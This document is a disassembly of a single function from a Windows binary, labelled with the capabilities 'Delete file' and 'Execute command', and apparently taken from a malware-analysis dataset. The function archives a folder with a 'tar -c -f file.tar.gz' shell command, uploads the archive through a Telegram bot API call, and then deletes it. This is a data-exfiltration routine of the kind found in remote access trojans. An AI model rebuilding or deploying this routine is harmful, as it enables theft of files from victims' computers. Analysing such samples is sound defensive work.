Function at 0x14000be60
Capabilities:
Delete file
Execute command

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x140025040]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
mov r15, rdx
mov r12, rcx
mov qword [rbp + 0x118], rdx
xor esi, esi
mov rdx, qword [rdx]
add rdx, 0x118
cmp qword [rdx + 0x18], 0xf
jbe 0x14000beb3
mov rdx, qword [rdx]
add rdx, 5
lea rcx, [rbp + 0x88]
call fcn.1400048d0
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x19
jb 0x14000bf57
lea rax, [r8 + 0x19]
mov qword [rbx + 0x10], rax
mov rdi, rbx
cmp rcx, 0xf
jbe 0x14000beee
mov rdi, qword [rbx]
lea rax, [0x14001b1a9]
mov r14d, 0x19
lea r13, str.tar__c__f_file.tar.gz__C
cmp rax, rdi
jbe 0x14000bf1d
lea rax, [rdi + r8]
cmp r13, rax
ja 0x14000bf1d
cmp rdi, r13
jbe 0x14000bf20
mov rsi, rdi
sub rsi, r13
jmp 0x14000bf20
mov rsi, r14
inc r8
lea rcx, [rdi + 0x19]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
mov rdx, r13
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
sub r14, rsi
lea rdx, [r13 + 0x19]
add rdx, rsi
lea rcx, [rdi + rsi]
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
xor esi, esi
jmp 0x14000bf70
mov r14d, 0x19
mov qword [rsp + 0x28], r14
mov edx, r14d
mov rcx, rbx
call fcn.140014fa0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x190], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x180], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x190], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x14000bfed
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bfe8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bfe8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp + 0x98], xmm0
mov byte [rbp + 0x88], 0
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400170a4
lea r14, str.file.tar.gz
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x28], inet_ntoa
lea r8, [rbp + 0x20]
mov edx, eax
lea rcx, [rbp + 0x50]
call fcn.140001b60
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x170]
call fcn.140003100
movsd xmm0, qword [rax]
movsd qword [rbp - 0x78], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp + 0x30], ecx
lea rax, [0x140025110]
mov qword [rbp + 0x38], rax
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x1a0], xmm0
mov eax, dword [rbp - 0x78]
test eax, eax
je 0x14000c0d5
cmp eax, 1
setne bl
mov rdx, qword [rbp + 0x68]
cmp rdx, 7
jbe 0x14000c0e6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c0e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c0e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor bl, bl
test ecx, ecx
jne 0x14000c539
jmp 0x14000c097
call fcn.140017a20
mov edi, 0xffffffff
test bl, bl
je 0x14000c46f
mov rbx, qword [r12]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], rsi
movups xmmword [rbp - 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 8], xmm1
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp - 8]
call fcn.140013570
nop
lea rax, [rbp + 0x40]
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x40], xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp - 0x28]
call fcn.140013570
nop
lea rax, [rbp + 0xc8]
mov qword [rbp + 0x120], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb8], xmm1
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp + 0xa8]
call fcn.140013570
movups xmm1, xmmword [rbp + 0xa8]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [rbp + 0xb8]
movups xmmword [rbp + 0xe0], xmm0
mov dword [rbp + 0xc8], 1
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
lea r8d, [rdi + 0xb]
lea rdx, str.text_plain
lea rcx, [rbp - 0x48]
call fcn.140013570
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
lea r8d, [rdi + 0xc]
mov rdx, r14
lea rcx, [rbp - 0x68]
call fcn.140013570
nop
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x138]
call qword [sym.imp.TgBot.dll_public:_static_class_std::shared_ptr_class_TgBot::InputFile____cdecl_TgBot::InputFile::fromFile_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64_]
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xf8], xmm0
mov rcx, qword [rax]
mov qword [rbp + 0xf8], rcx
mov rcx, qword [rax + 8]
mov qword [rbp + 0x100], rcx
mov qword [rax], rsi
mov qword [rax + 8], rsi
mov dword [rbp + 0xf0], esi
mov rax, qword [r15]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx]
mov qword [rbp + 0x150], rax
mov dword [rbp + 0x148], esi
mov dword [rsp + 0x70], esi
mov byte [rsp + 0x68], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x58], 0
lea rax, [rbp + 0x70]
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x48], 0
lea rax, [rbp - 8]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x40]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], esi
lea rax, [rbp - 0x28]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf0]
lea r8, [rbp + 0x148]
lea rdx, [rbp + 0x128]
lea rcx, [rbx + 0x20]
call qword [sym.imp.TgBot.dll__sendDocument_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_]
mov rbx, qword [rbp + 0x130]
test rbx, rbx
je 0x14000c2f4
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14000c2f4
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000c2f4
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rbx, qword [rbp + 0x140]
test rbx, rbx
je 0x14000c32a
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14000c32a
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000c32a
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x14000c368
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c363
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c363
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x68], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x14000c3b7
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c3b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c3b2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x14000c406
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c401
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c401
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x14000c455
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c450
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c450
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp + 8], xmm0
mov byte [rbp - 8], 0
lea rcx, [rbp + 0x70]
call fcn.140011170
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x14000c4c8
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c4c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c4c3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp + 0x190], xmm0
mov byte [rbp + 0x180], 0
mov rbx, qword [r15 + 8]
test rbx, rbx
je 0x14000c50f
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14000c50f
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], edi
cmp edi, 1
jne 0x14000c50f
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.140017a00
mov rbx, qword [rsp + 0x310]
add rsp, 0x2c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x1a0]
call fcn.140002bf0
int3